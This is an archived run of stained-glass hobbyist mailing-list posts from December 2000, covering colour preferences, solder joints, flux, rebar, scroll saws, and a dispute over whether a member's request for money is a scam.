<DIV><STRONG><FONT face=3DArial>&gt;^,,^&lt;&nbsp;&nbsp; =
&gt;^,,^&lt;&nbsp;&nbsp;=20
&gt;^,,^&lt;</FONT></STRONG></DIV>
<DIV><FONT face=3DArial><STRONG>I recently signed up for this newsletter =
because I=20
work on my stained glass out of&nbsp;my home&nbsp; The only people with =
my=20
interests&nbsp; in glass that I have contact with are at the glass shop =
where I=20
buy my supplies.&nbsp; I tend to feel isolated when working on the =
stained glass=20
so I thought this would be a good way for me to get connected with other =
people=20
working with glass and to get some good tips.</STRONG></FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial><STRONG>It is disappointing for me to see how a =
simple=20
question about color preference was turned into personal attacks.&nbsp; =
I'm=20
interested in support and not verbal "warfare".&nbsp; Have I come to the =
right=20
place?</STRONG></FONT></DIV>
<DIV><FONT face=3DArial><STRONG></STRONG></FONT>&nbsp;</DIV>
<DIV><STRONG><FONT face=3DArial>I like blues...I wear blues &amp; =
blacks....my=20
home is done in a lot of purple so I&nbsp;guess I like purple=20
too:-)</FONT></STRONG>&nbsp;<FONT face=3DArial><STRONG>=20
Robin</STRONG></FONT></DIV></BODY></HTML>

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From owner-glass Tue Dec  5 19:56:17 2000
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From: Suzanne Gunn <gunnx4@ix.netcom.com>
To: Mike Savad <esavad@home.com>
Content-Type: text/plain; charset=x-user-defined
Subject: Re: colors and emotions
Date: Tue, 05 Dec 2000 20:46:20 -0600
Message-ID: <1970Jan1.000.0>
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Organization: glassdancer
Precedence: bulk



Mike Savad wrote:
lol...for some reason?  Gee...could it be because it's way cool?
I'd have already commissioned you to do one of those cool jewelry boxes
like you do...but Im sure I cant afford it!  

Suzanne

> i want to be able to insert an emotion through color, without anyone really
> noticing. to be able to add an accent trim to a window or a box, people
> looking at it, thinking that's really nice, for some reason....
> 
> ---Mike Savad
> 
> ---
> Mike's Stained Glass - http://www.geocities.com/Paris/1141/
> Contains a wealth of stained glass information, stained glass tips, stained
> glass instruction, and many, many stained glass links.
> ---
> 11-7-00 - New Stuff Added: How to solder a nice bead, and several new
> projects. You can now search my site with a built in engine.
> 
> ----
> For subscription changes, please mail to: glass-request@bungi.com
> To send to the list,      please mail to: glass@bungi.com
> Archives available at http://www.bungi.com/glass
----
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From owner-glass Tue Dec  5 21:05:20 2000
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To: <glass@bungi.com>
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Date: Wed, 6 Dec 2000 06:30:41 +0200
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f`z di` decrd nxeaz glwim arivea MIME.

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can you stop with the perpel my e-maill got hangover already.
R.

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<DIV><FONT face=3D"Arial (hebrew)" size=3D2>can you stop with the perpel =
my e-maill=20
got hangover already.</FONT></DIV>
<DIV><FONT face=3D"Arial (hebrew)" =
size=3D2>R.</FONT></DIV></BODY></HTML>

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In a message dated 12/5/00 6:48:18 PM Pacific Standard Time, ella@zoomnet.net 
writes:

>  I need  hints on making a neat solder joint on foiled pieces where two 
> lines intersect.  I will have it looking halfway good then I join another 
> line and mess it up.  ella

I like to take a slight detour onto the line I am crossing. I move the 
soldering iron about a quarter of an inch toward the line I am crossing and 
then back to continue on my way.

Bob in 9 2 0 2 6
Don't forget to punch out the candidate of your choice.
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From: Bill <shmilly@attcanada.ca>
To: glass@bungi.com
Content-Type: text/plain; charset="us-ascii"
Subject: re: favourite colour etc....
Date: Wed, 06 Dec 2000 08:49:40 -0500
Message-ID: <3.0.6.32.20001206084940.00799690@popd.netcom.ca>
Precedence: bulk

hi all...i came across this site while browsing the net...the book was
titled "Line and Color Magic for Glass Design"........i haven't seen it
personally but there is a short description as to what it is about...
"Paperback (May 1990) Tap into your own creative resources and "draw out
the artist from within." Stimulating your inventiveness and sparking the
imagination can expand your creative potential. This book focuses on the
total designing process from the imagination to the assembly stage. An
informative design and color guide, it is an invaluable aid for the novice
as well as the instructor or professional craftsperson, Learn how to: find
new design ideas, draw your own patterns, create an exciting and balanced
composition, enlarge patterns with various tools and equipment, select
glass colors and textures to enhance your design, effectively display
finished pieces. Included are a series of exercises and procedures designed
to develop free-flowing ideas, creative intuition, self- confidence, and a
better understanding of the interplay of color and line dynamics. Expand
your knowledge about optical illusions, light exposure, negative/positive
space, rhythm, variety, mood, perspective, depth, warm/cool colors, focal
points, and the color wheel with fun experiments you can try." 

http://www.aiap.com/0962566314.htm


just thought i would pass it along, seemed interesting....it didn't say
much about "purple" though......      ;-)    ...............bill

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From owner-glass Wed Dec  6 06:15:06 2000
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X-Path: juno.com!pennyante
From: stephanie n larson <pennyante@juno.com>
To: esavad@home.com, glass@bungi.com
Content-Type: text/plain; charset=us-ascii
Subject: Re: colors and emotions
Date: Wed, 6 Dec 2000 04:12:20 -0800
Message-ID: <1970Jan1.000.0>
Precedence: bulk

hee,hee...you're an instigator...I think black and white causes negative
emotions, looking back at the past few days bungi emails.  ;-)  Lighten
up, folks.
I read somewhere awhile back (1998-9?) about how colours are being used
in mental hospitals and prisons. Light blue was supposed to calm people
down in the rubber rooms and light and dark green was supposed to induce
rest and sleep.Red caused anxiety and anger, some shades of orange could
cause physical illness ..maybe if you were to search under institutional
reports (I wouldn't even know where to start) maybe you could find some
studies? If I remember right, this was a large study and made it to the
news because several state prisons were re-painting as a result of this
study. It was an interesting subject, for sure.
Good Luck!
Stephanie

On Tue, 5 Dec 2000 18:33:14 -0500 "Mike Savad" <esavad@home.com> writes:
> lets see if we can't incite a riot over this one....
> 
> 
> my goal - at some point - is to arrange colors in a window and 
> either
> provoke an inner emotion, or even a subliminal thought. purple seems 
> to be a
> good focal point. i'm wondering if anyone has any 
> inner-self-thoughts on
> what a color means to them. personally i don't have any one feeling 
> on a
> color that i'm aware of, but then again you need a poetic selfness, 
> which i
> don't really have.
> 
> i want to be able to insert an emotion through color, without anyone 
> really
> noticing. to be able to add an accent trim to a window or a box, 
> people
> looking at it, thinking that's really nice, for some reason....
> 
> 
> ---Mike Savad
> 
> 
> ---
> Mike's Stained Glass - http://www.geocities.com/Paris/1141/
> Contains a wealth of stained glass information, stained glass tips, 
> stained
> glass instruction, and many, many stained glass links.
> ---
> 11-7-00 - New Stuff Added: How to solder a nice bead, and several 
> new
> projects. You can now search my site with a built in engine.
> 
> ----
> For subscription changes, please mail to: glass-request@bungi.com
> To send to the list,      please mail to: glass@bungi.com
> Archives available at http://www.bungi.com/glass
> 
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From owner-glass Wed Dec  6 06:45:28 2000
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X-Path: waterw.com!artglass
From: "pjfriend" <artglass@waterw.com>
To: "Mike Savad" <esavad@home.com>, <glass@bungi.com>
Subject: Re: colors and emotions
Date: Wed, 6 Dec 2000 09:09:11 -0500
Message-ID: <1970Jan1.000.0>
References: <<1970Jan1.000.0>>
Precedence: bulk

What you need is to contact a human behaviorist.  They know all about what
colors push what buttons.
my best,
pj

Paul Friend Architectural Glass & Design, Inc.
www.waterw.com/~artglass
Accredited Studio Member of the Stained Glass Association of America
Member International Guild of Glass Artists
Associate Member AIA
----- Original Message -----
From: "Mike Savad" <esavad@home.com>
To: <glass@bungi.com>
Sent: Tuesday, December 05, 2000 6:33 PM
Subject: colors and emotions


> lets see if we can't incite a riot over this one....
>
>
> my goal - at some point - is to arrange colors in a window and either
> provoke an inner emotion, or even a subliminal thought. purple seems to be
a
> good focal point. i'm wondering if anyone has any inner-self-thoughts on
> what a color means to them. personally i don't have any one feeling on a
> color that i'm aware of, but then again you need a poetic selfness, which
i
> don't really have.
>
> i want to be able to insert an emotion through color, without anyone
really
> noticing. to be able to add an accent trim to a window or a box, people
> looking at it, thinking that's really nice, for some reason....
>
>
> ---Mike Savad
>
>
> ---
> Mike's Stained Glass - http://www.geocities.com/Paris/1141/
> Contains a wealth of stained glass information, stained glass tips,
stained
> glass instruction, and many, many stained glass links.
> ---
> 11-7-00 - New Stuff Added: How to solder a nice bead, and several new
> projects. You can now search my site with a built in engine.
>
> ----
> For subscription changes, please mail to: glass-request@bungi.com
> To send to the list,      please mail to: glass@bungi.com
> Archives available at http://www.bungi.com/glass


----
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From owner-glass Wed Dec  6 07:26:14 2000
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X-Path: aol.com!HonoluLou
From: HonoluLou@aol.com
To: glass@bungi.com
Content-Type: text/plain; charset="US-ASCII"
Subject: Best Flux
Date: Wed, 6 Dec 2000 09:49:45 EST
Message-ID: <1970Jan1.000.0>
Precedence: bulk

Hello, Lou here.  Someone told me that paste flux works better when soldering 
lead, then other liquids (like oleic acid).  Would appreciate any feedback.  
I've been soldering copper and brass came too long and lost my touch with 
lead (keep getting cold solders or burning through the came.  TXS.
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From owner-glass Wed Dec  6 09:02:27 2000
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X-Path: gte.net!dearth
From: "JAD" <dearth@gte.net>
To: <glass@bungi.com>
Content-Type: multipart/alternative;
Subject: saw
Date: Wed, 6 Dec 2000 11:28:53 -0500
Message-ID: <1970Jan1.000.0>
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does anyone have experience with cutting glass with a variable speed =
scroll saw such as a BBI, what type of blade do you use? What speed?

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<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META http-equiv=3DContent-Type content=3D"text/html; =
charset=3Diso-8859-1">
<META content=3D"MSHTML 5.50.4522.1800" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT size=3D2>does anyone have experience with cutting glass with =
a variable=20
speed scroll saw such as a BBI, what type of blade do you use? What=20
speed?</FONT></DIV></BODY></HTML>

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From owner-glass Wed Dec  6 09:04:20 2000
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X-Path: legacyhotels.co.za!skunneke
From: S Kunneke <skunneke@legacyhotels.co.za>
To: 'Stained Glass Mailing' <glass@bungi.com>
Content-Type: text/plain; charset="us-ascii"
Subject: Scuse the ignorance
Date: Wed, 6 Dec 2000 11:23:56 +0200
Message-ID: <1970Jan1.000.0>
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Hi there, sorry about the ignorance of the question - I hope you'll bear =
with me.  Im based in South Africa and most things out here are either =
renamed or non existent (i.e. 99% of all things related to stained glass =
have to be imported and are quite expensive).

What is "rebaring"?  Im asking as I am about to embark on making a =
leaded window (1.445m x 0.455m - sorry I don't know the inch equivalent) =
and I was wondering about reinforcing it and how to go about it.  I've =
phoned about 3 - 4 stained glass places here and none of them are very =
keen to give me any information unless "I come in and see them about =
doing a course", and the place I originally did the course has closed.

Any info would be greatly appreciated.

Many thanks

Sarah
----
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From owner-glass Wed Dec  6 09:21:09 2000
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X-Path: GSA-ORSP.CROWN.NWU.EDU!kaye
From: "Kaye Sodt" <kaye@GSA-ORSP.CROWN.NWU.EDU>
To: glass@bungi.com
Content-Type: text/plain; charset=US-ASCII
Subject: Re: soldier
Date: Wed, 6 Dec 2000 10:56:49 CST 6CDT
Message-ID: <1970Jan1.000.0>
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Ella--

I agree.  Though I seldom wear red, I *love* red glass.  Seems like 
most of the "can't pass up" pieces of glass I've collected are either 
blue/green combos or red.

I'm hoping somebody has a good answer to your other question.  
I've always thought I could produce perfect solder beads forever--as 
long as it was one long line with no intersections!  If I touch up the 
intersections, then there's a mark on the "legs."  

Kaye
--------------------
I thought blue was my favorite color, however since I have been doing =
stained glass I discovered red is my favorite.  Seems like without =
realizing it I manage to get a small piece of red in each piece I do.  I =
am sure this has been covered in the past, but I am a new comer.  I need =
hints on making a neat soldier joint on folded pieces where two =
intersect.  I will have it looking halfway good then I joint another =
line and mess it up.  ella

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From owner-glass Wed Dec  6 11:33:13 2000
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X-Path: home.com!dwight.j
From: "Dwight Jones" <dwight.j@home.com>
To: <glass@bungi.com>
Content-Type: multipart/alternative;
Subject: colors
Date: Wed, 6 Dec 2000 12:16:52 -0700
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------=_NextPart_000_0089_01C05F7E.6AB46860
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I like to use a lot of clear, textured glass in my work and let the =
design carry the piece.  More challenging than what meets the eye.  As =
far as color goes, I love blue for no reason that I can identify and I =
don't attempt to attach  meaning to my personal preference.  However, if =
color does evoke emotions, either negative or positive, I think the =
emotion is very personal and needs to be respected.  We all see and =
experience the world from a different point of view...experiences =
"color" our perceptions.  Thank goodness for that...it is what makes our =
pieces so unique.

Jean

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	charset="iso-8859-1"
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<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content=3D"text/html; charset=3Diso-8859-1" =
http-equiv=3DContent-Type>
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<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>I like to use a lot of clear, textured =
glass in my=20
work and let the design carry the piece.&nbsp; More challenging than =
what meets=20
the eye.&nbsp; As far as color goes, I love blue for no reason that I =
can=20
identify and I don't attempt to attach&nbsp; meaning to my personal=20
preference.&nbsp; However, if color does evoke emotions, either negative =
or=20
positive, I think the emotion is very personal and needs to be =
respected.&nbsp;=20
We all see and experience the world from a different point of =
view...experiences=20
"color" our perceptions.&nbsp; Thank goodness for that...it is what =
makes our=20
pieces so unique.</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Jean</FONT></DIV></BODY></HTML>

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From owner-glass Wed Dec  6 11:34:05 2000
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X-Path: verrier-scotland.demon.co.uk!s.richard
From: Steve Richard <s.richard@verrier-scotland.demon.co.uk>
To: sonyaamt@mindspring.com
Subject: Re: Rebar
Date: Wed, 6 Dec 2000 17:51:28 +0000
Message-ID: <1970Jan1.000.0>
References: <<1970Jan1.000.0@?>>
Precedence: bulk

In message <1970Jan1.000.0@?>, sonyaamt@mindspring.com writes
......cut......
>4.  The design of the panel consists of grapes with bevels on the border.  The 
>width is 15" but the only consistent horizontal line is where the interior 
>design meets the bevels, so I am assuming that I should run 2 rebars (top and 
>bottom) to maintain a consistent look and for strength.
I'm not sure I understand this, but if you actually mean at the top and
bottom of the panel, then no.  The rebars should be at about 1/3 and 2/3
from bottom to top.  The straight lines that the bar starts off as does
not interfere with the look of the panel.  But it is possible to bend
the bar to follow the line of the design.

>5.  If I used a bunch of strongline both horizontally and vertically through the 
>panel would that be enough strengthening?
As Charlie pointed out, rebars provide support.  strong line provides
stiffening but not support.

>6.  Are there any good books or websites that show the rebar process or has a 
>good discussion on how to do it?
>
There are discussions on the archives, but almost everyone does it a
different way.  Experience ( trial and error) provides the answers.

Steve
-- 
Steve Richard
Verrier Art Glass Ltd
s.richard@verrier-scotland.demon.co.uk
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From owner-glass Wed Dec  6 11:36:18 2000
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X-Path: verrier-scotland.demon.co.uk!s.richard
From: Steve Richard <s.richard@verrier-scotland.demon.co.uk>
To: Suzanne Gunn <gunnx4@ix.netcom.com>
Subject: Re: Rebar
Date: Wed, 6 Dec 2000 17:58:37 +0000
Message-ID: <1970Jan1.000.0>
References: <<1970Jan1.000.0@?>>
Precedence: bulk

In message <1970Jan1.000.0@?>, Suzanne Gunn <gunnx4@ix.netcom.com>
writes
> in response to 
>sonyaamt@mindspring.com 

>Rebar is add after the panel is soldered and puttied.
>We steel wool all our panels.  Then we put on the rebar.
>After putting on the rebar you will need to clean up the putty that
>seeps out from the heat of the soldering.  I use an 800 degree tip.
>You may need to steel wool the rebar to clean it up some before
>attempting to attach it.
>
>After attaching the rebar wash off the flux.  We patina the rebar then
>polish the lead with Weimans metal creme, I wipe it on with a gloved
>hand then brush it.  It comes up to a beautiful black shine.  Looks and
>feels a lot cleaner than just brushing to finish.
>
>The last thing we do is paint the rebar with clear fingernail polish.
>Keeps the rebar from rusting, and getting that yucky white.
>
>We cut rebar with bolt cutters. Cut the ends at an angle.  We have a
>grinder for metals that we smooth/round off the ends.
>
Suzanne,
        what kind of rebar do you use.  The process you describe implies
to me that you use a zinc or lead covered bar.  I use either square or
round steel bars.  I used to use a zinc covered 3/8 by 1/8 inch strap,
that is easy to bend around sharp corners.
        With steel bar you can't patina, it doesn't turn white and in
most conditions becomes black with age, rather than simply rusty.  Any
way I would be interested to know the material you use.
Steve


-- 
Steve Richard
Verrier Art Glass Ltd
s.richard@verrier-scotland.demon.co.uk
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From owner-glass Wed Dec  6 12:04:14 2000
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X-Path: unibase.com!thegrainery
From: Colleen Schick <thegrainery@unibase.com>
To: Cecily & Ralph Wood <cecnralph@home.com>
Content-Type: text/plain; charset=us-ascii
Subject: Re: Lee Boe
Date: Wed, 06 Dec 2000 13:15:44 -0600
Message-ID: <1970Jan1.000.0>
References: <<1970Jan1.000.0>>
Precedence: bulk

To all of you...

Christmas brings "all sorts" out of the wood work, so don't set your selves up for
disappointment when you've been told by the police that you've been had. Having
worked in the Social Services Area for a number of years, I can hopefully put your
consciences at ease when I say that she, if she is really institutionalized, she
is being taken care of.

Use your hard earned money to take care of your families and loved ones, and drop
a buck or two in the Salvation Army's bucket.

A typical scam, which this is, makes you feel compelled to help someone who you've
never met.. and this is a very good one, making it's way into a close group and
telling stories how they have formed close bonds to others "from our group" (so
they must be safe, right?) WRONG!!!

Think this one over very carefully.

Sincerely, and Merry Christmas All!

Colleen
-----------------------------------------------------------------------
Cecily & Ralph Wood wrote:

> I'm confused.  Elisabeth and Jenny seem to think this a genuine plea for
> help.  Your message seems to imply this is a scam.  I'd like to know one way
> or the other.  I've never met the woman, but have certainly read her postings.
>
> Glenna Rand wrote:
>
> > Hi everyone,
> >
> > Regarding Lee boe's msg:
> > I really need the help of anyone who knows me from the last 2 years of my
> > membership.  I broke up housekeeping with my (EX) friend, and have all my
> > tools, torches, grinders, $12,000 dollars worth of art glass, all stored in
> > a storage facility. (Some good friends were able to load it up for me, but
> > are unable to help finacially.)  If everyone who knows me, as an honest and
> > sane person will send a postal money order made out to Lee M. Boe for $5 US
> > dollars or more if you can spare it, I will be able to save what is
> > meaningful in my life, and get out of this looney bin (it is a real hell
> > pit, all the horror stories you have heard about nursing homes are true.)
> >
> > Snip....
> >
> > Yes I will be sending him a note asking not to use this group for
> > a this sort of stuff,.....sigh  :^(
> >
> > --
> > Glenna Rand
> > gjr@bungi.com
> > ----
> > For subscription changes, please mail to: glass-request@bungi.com
> > To send to the list,      please mail to: glass@bungi.com
> > Archives available at http://www.bungi.com/glass
>
> --
> *********************************************************************
> *  Cecily Taylor Cummings Wood  and/or  Ralph Bernard Wood
> *  Grendel Studio (Glass, Graphics, Gardens, Genealogy)
> *********************************************************************
>
> ----
> For subscription changes, please mail to: glass-request@bungi.com
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From owner-glass Wed Dec  6 12:18:02 2000
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From: Colleen Schick <thegrainery@unibase.com>
To: David Cogen <cogen@ll.mit.edu>
Content-Type: text/plain; charset=us-ascii
Subject: Colors
Date: Wed, 06 Dec 2000 13:49:16 -0600
Message-ID: <1970Jan1.000.0>
References: <<200012051425.JAA18446@poblano.llan.ll.mit.edu>>
Precedence: bulk

I don't know why, but why are people always so "sensitive" at Christmas? Wow!!!
Look at the bigger picture... as my dear old dad always used to tell me...

(This quote contains language that may offend some viewers!)

"When you're living in a world of raining shit, buy a bigger umbrella!"

Colleen
The Canadian "Shit-Disturber"!
(Just joken!)

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From owner-glass Wed Dec  6 14:32:25 2000
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From: "Monica" <cricket@rea-alp.com>
To: <glass@bungi.com>
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Subject: Fw: colors and emotions
Date: Wed, 6 Dec 2000 16:04:03 -0600
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----- Original Message -----
From: Monica <cricket@rea-alp.com>
To: stephanie n larson <pennyante@juno.com>
Sent: Wednesday, December 06, 2000 3:55 PM
Subject: Re: colors and emotions


> Just to confirm this. As I was working my way through school I worked as a
> painter at a new prison that was being built. The colors we used were
pastel
> pink, pastel green and pastel blue. As is indicated in Stephanies letter
> studies showed that these were the most soothing colors. Personally if I
> would have had to sit and look at those colors 24/7 I might have gone a
> little crazy.
> Monica
> ----- Original Message -----
> From: stephanie n larson <pennyante@juno.com>
> To: <esavad@home.com>; <glass@bungi.com>
> Sent: Wednesday, December 06, 2000 6:12 AM
> Subject: Re: colors and emotions
>
>
> > hee,hee...you're an instigator...I think black and white causes negative
> > emotions, looking back at the past few days bungi emails.  ;-)  Lighten
> > up, folks.
> > I read somewhere awhile back (1998-9?) about how colours are being used
> > in mental hospitals and prisons. Light blue was supposed to calm people
> > down in the rubber rooms and light and dark green was supposed to induce
> > rest and sleep.Red caused anxiety and anger, some shades of orange could
> > cause physical illness ..maybe if you were to search under institutional
> > reports (I wouldn't even know where to start) maybe you could find some
> > studies? If I remember right, this was a large study and made it to the
> > news because several state prisons were re-painting as a result of this
> > study. It was an interesting subject, for sure.
> > Good Luck!
> > Stephanie
> >
> > On Tue, 5 Dec 2000 18:33:14 -0500 "Mike Savad" <esavad@home.com> writes:
> > > lets see if we can't incite a riot over this one....
> > >
> > >
> > > my goal - at some point - is to arrange colors in a window and
> > > either
> > > provoke an inner emotion, or even a subliminal thought. purple seems
> > > to be a
> > > good focal point. i'm wondering if anyone has any
> > > inner-self-thoughts on
> > > what a color means to them. personally i don't have any one feeling
> > > on a
> > > color that i'm aware of, but then again you need a poetic selfness,
> > > which i
> > > don't really have.
> > >
> > > i want to be able to insert an emotion through color, without anyone
> > > really
> > > noticing. to be able to add an accent trim to a window or a box,
> > > people
> > > looking at it, thinking that's really nice, for some reason....
> > >
> > >
> > > ---Mike Savad
> > >
> > >
> > > ---
> > > Mike's Stained Glass - http://www.geocities.com/Paris/1141/
> > > Contains a wealth of stained glass information, stained glass tips,
> > > stained
> > > glass instruction, and many, many stained glass links.
> > > ---
> > > 11-7-00 - New Stuff Added: How to solder a nice bead, and several
> > > new
> > > projects. You can now search my site with a built in engine.
> > >
> > > ----
> > > For subscription changes, please mail to: glass-request@bungi.com
> > > To send to the list,      please mail to: glass@bungi.com
> > > Archives available at http://www.bungi.com/glass
> > >
> > ----
> > For subscription changes, please mail to: glass-request@bungi.com
> > To send to the list,      please mail to: glass@bungi.com
> > Archives available at http://www.bungi.com/glass
> >
>

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From owner-glass Wed Dec  6 14:34:07 2000
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X-Path: home.com!esavad
From: "Mike Savad" <esavad@home.com>
To: "JAD" <dearth@gte.net>,
Content-Type: text/plain;
Subject: RE: saw
Date: Wed, 6 Dec 2000 17:19:29 -0500
Message-ID: <1970Jan1.000.0>
References: <<1970Jan1.000.0>>
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cutting what with a scroll saw?


---Mike Savad


---
Mike's Stained Glass - http://www.geocities.com/Paris/1141/
Contains a wealth of stained glass information, stained glass tips, stained
glass instruction, and many, many stained glass links.
---
11-7-00 - New Stuff Added: How to solder a nice bead, and several new
projects. You can now search my site with a built in engine.

> -----Original Message-----
> From: JAD [mailto:dearth@gte.net]
> Sent: Wednesday, December 06, 2000 11:29 AM
> To: glass@bungi.com
> Subject: saw
>
>
> This is a multi-part message in MIME format.
>
> ------=_NextPart_000_001D_01C05F77.B6AB4B00
> Content-Type: text/plain;
> 	charset="iso-8859-1"
> Content-Transfer-Encoding: quoted-printable
>
> does anyone have experience with cutting glass with a variable speed =
> scroll saw such as a BBI, what type of blade do you use? What speed?
>
> ------=_NextPart_000_001D_01C05F77.B6AB4B00
> Content-Type: text/html;
> 	charset="iso-8859-1"
> Content-Transfer-Encoding: quoted-printable
>
> <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
> <HTML><HEAD>
> <META http-equiv=3DContent-Type content=3D"text/html; =
> charset=3Diso-8859-1">
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> <STYLE></STYLE>
> </HEAD>
> <BODY bgColor=3D#ffffff>
> <DIV><FONT size=3D2>does anyone have experience with cutting glass with =
> a variable=20
> speed scroll saw such as a BBI, what type of blade do you use? What=20
> speed?</FONT></DIV></BODY></HTML>
>
> ------=_NextPart_000_001D_01C05F77.B6AB4B00--
>
> ----
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From owner-glass Wed Dec  6 14:39:35 2000
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X-Path: ix.netcom.com!gunnx4
From: Suzanne Gunn <gunnx4@ix.netcom.com>
To: Steve Richard <s.richard@verrier-scotland.demon.co.uk>
Content-Type: text/plain; charset=x-user-defined
Subject: Re: Rebar
Date: Wed, 06 Dec 2000 15:26:52 -0600
Message-ID: <1970Jan1.000.0>
References: <<EO+1OGAN5nL6EwZi@verrier-scotland.demon.co.uk>>
Organization: glassdancer
Precedence: bulk

Zinc coated (steel?) rebar is all I've ever used.  We use different
sizes depending on the panel.

Suzanne

Steve Richard wrote:

> Suzanne,
>         what kind of rebar do you use.  The process you describe implies
> to me that you use a zinc or lead covered bar.  I use either square or
> round steel bars.  I used to use a zinc covered 3/8 by 1/8 inch strap,
> that is easy to bend around sharp corners.
>         With steel bar you can't patina, it doesn't turn white and in
> most conditions becomes black with age, rather than simply rusty.  Any
> way I would be interested to know the material you use.
> Steve
> 
> --
> Steve Richard
> Verrier Art Glass Ltd
> s.richard@verrier-scotland.demon.co.uk
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From owner-glass Wed Dec  6 15:12:13 2000
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X-Path: home.com!kristc
From: "Kris" <kristc@home.com>
To: <glass@bungi.com>
Content-Type: text/plain;
Subject: Re: Lee Boe
Date: Wed, 6 Dec 2000 17:26:28 -0500
Message-ID: <1970Jan1.000.0>
References: <<1970Jan1.000.0>>
Precedence: bulk

I know this is not glass but I feel a need to clarify a couple things. Lee
is a real person, a glass artist, a long time list member, and my former
glass/business partner. She has significant health problems that are very
real. I have not been in touch with her for awhile so I cannot speak about
what has been going on recently. I will say as a former nurse, usually it is
very difficult to get care paid for and if she is somewhere, they have had
to justify that in great detail to whoever is footing the bill.

However, she wrote the list asking for help with the cost of storing her
glass and related supplies. Supplies can be stored at my house for as long
as necessary as needed. If anyone still feels the urge to send money you may
talk to her good friend Elisabeth (Toby) about where it will go and for
what. The US takes care of its disabled people well enough for them to
barely survive but no more than that.

This is a glass list, but we are people also with real life issues which
sometimes come up here. The color nonsense is another matter. I'm sure no
one meant to hurt any feelings. Things just don't come out right sometimes,
or you don't know how it might be taken by someone out there you don't know.
This problem is common to almost all discussion lists and has happened to
all of us who have been on line for some time.

Just FYI to all of you who don't know me, I haven't been active on this list
because I haven't been doing glass for awhile. I am in the midst of
finishing school and a major new midlife career move (computer programming)
but I can't give up glass entirely, love it too much, so I keep my
subscription here active so I can read discussions when I have a little
time. I have a horribly outdated website if you want to see a little of my
work from the past (only the top two links work).
http://www.goldensand.com/artglass.htm (yes, Lee came up with that name,
Kris + Lee) The third box down on the boxes page was actually made by Lee
for Elisabeth (note her initials on the lid).  I'm 48, married, mother of
two girls, one still at home, and I live in Sarasota FL.

Maybe this post will fill in a few gaps in the story of the moment...  We
now return you to your glass discussions :)

Kris

PS This isn't directed at you Colleen, rather at everyone who doesn't know
Lee and her story. Your words are very true and it is very easy for people
to take advantage of others and their good nature. It happens all too often.


> To all of you...
>
> Christmas brings "all sorts" out of the wood work, so don't set your
selves up for
> disappointment when you've been told by the police that you've been had.
Having
> worked in the Social Services Area for a number of years, I can hopefully
put your
> consciences at ease when I say that she, if she is really
institutionalized, she
> is being taken care of.
>
> Use your hard earned money to take care of your families and loved ones,
and drop
> a buck or two in the Salvation Army's bucket.
>
> A typical scam, which this is, makes you feel compelled to help someone
who you've
> never met.. and this is a very good one, making it's way into a close
group and
> telling stories how they have formed close bonds to others "from our
group" (so
> they must be safe, right?) WRONG!!!
>
> Think this one over very carefully.
>
> Sincerely, and Merry Christmas All!
>
> Colleen


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From owner-glass Wed Dec  6 15:26:23 2000
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X-Path: ix.netcom.com!gunnx4
From: Suzanne Gunn <gunnx4@ix.netcom.com>
To: HonoluLou@aol.com, glass@bungi.com
Content-Type: text/plain; charset=x-user-defined
Subject: Re: Best Flux
Date: Wed, 06 Dec 2000 15:28:48 -0600
Message-ID: <1970Jan1.000.0>
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Precedence: bulk

At work we use paste flux.  I really like it as you can control where it
goes and doesn't go better than you can with liquid.

Suzanne

HonoluLou@aol.com wrote:
> 
> Hello, Lou here.  Someone told me that paste flux works better when soldering
> lead, then other liquids (like oleic acid).  Would appreciate any feedback.
> I've been soldering copper and brass came too long and lost my touch with
> lead (keep getting cold solders or burning through the came.  TXS.
> ----
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From owner-glass Wed Dec  6 15:45:33 2000
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X-Path: POBox.com!nadinesfolly
From: "Nadine BethSchneider" <nadinesfolly@POBox.com>
To: "Colleen Schick" <thegrainery@unibase.com>,
Content-Type: text/plain;
Subject: RE: Lee Boe
Date: Wed, 6 Dec 2000 17:58:00 -0500
Message-ID: <1970Jan1.000.0>
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This is not a scam, Colleen. . .

A long time ago when bungi was young (and probably a lot smaller) there were
many of us who conversed online almost daily.  Lee Boe was one of them and I
believe that everything she has said is absolutely true.  If you think this
is just a scam, that's fine, it's your opinion. . .but I don't think you
know Lee.

Nadine

Nadine Beth Schneider
Nadine's Folly, Ltd
www.nadinesfolly.com


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From owner-glass Wed Dec  6 15:53:50 2000
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From: Colleen Schick <thegrainery@unibase.com>
To: "glass@bungi.com" <glass@bungi.com>
Content-Type: multipart/mixed; boundary="------------45CDAFF211A101EF15556709"
Subject: [Fwd: Lee Boe]
Date: Wed, 06 Dec 2000 17:20:03 -0600
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This is a multi-part message in MIME format.
--------------45CDAFF211A101EF15556709
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--------------45CDAFF211A101EF15556709
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Message-ID: <3A2EC97F.87A1C894@unibase.com>
Date: Wed, 06 Dec 2000 17:19:28 -0600
From: Colleen Schick <thegrainery@unibase.com>
X-Mailer: Mozilla 4.07 [en] (Win95; I)
MIME-Version: 1.0
To: Nadine BethSchneider <nadinesfolly@POBox.com>
Subject: Re: Lee Boe
References: <LOBBKEKLCHAJFDGMDGBHKELBDEAA.nadinesfolly@POBox.com>
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Nadine, Nadine, our dear Nadine...

Is Lee Boe a guy or gal? Have you ever shaken hands with this person? Have you
seen if this person really exists, or is this individual a teenager who has too
much time on their hands?

Heck, can you tell if I am really "Colleen" or maybe "Colin"? Maybe I am typing
you from my cell block C for murdering my family and am having loads of fun
watching you worry about someone who doesn't exist...

Maybe we are being observed for someone's Psych Term Paper???

The point is - the internet is faceless, and with that are unknown risks... if
you are in a giving spirit, I could also use some cash!!

Meant in good humor,
Colleen
----------------------------------------------------------
Nadine BethSchneider wrote:

> This is not a scam, Colleen. . .
>
> A long time ago when bungi was young (and probably a lot smaller) there were
> many of us who conversed online almost daily.  Lee Boe was one of them and I
> believe that everything she has said is absolutely true.  If you think this
> is just a scam, that's fine, it's your opinion. . .but I don't think you
> know Lee.
>
> Nadine
>
> Nadine Beth Schneider
> Nadine's Folly, Ltd
> www.nadinesfolly.com


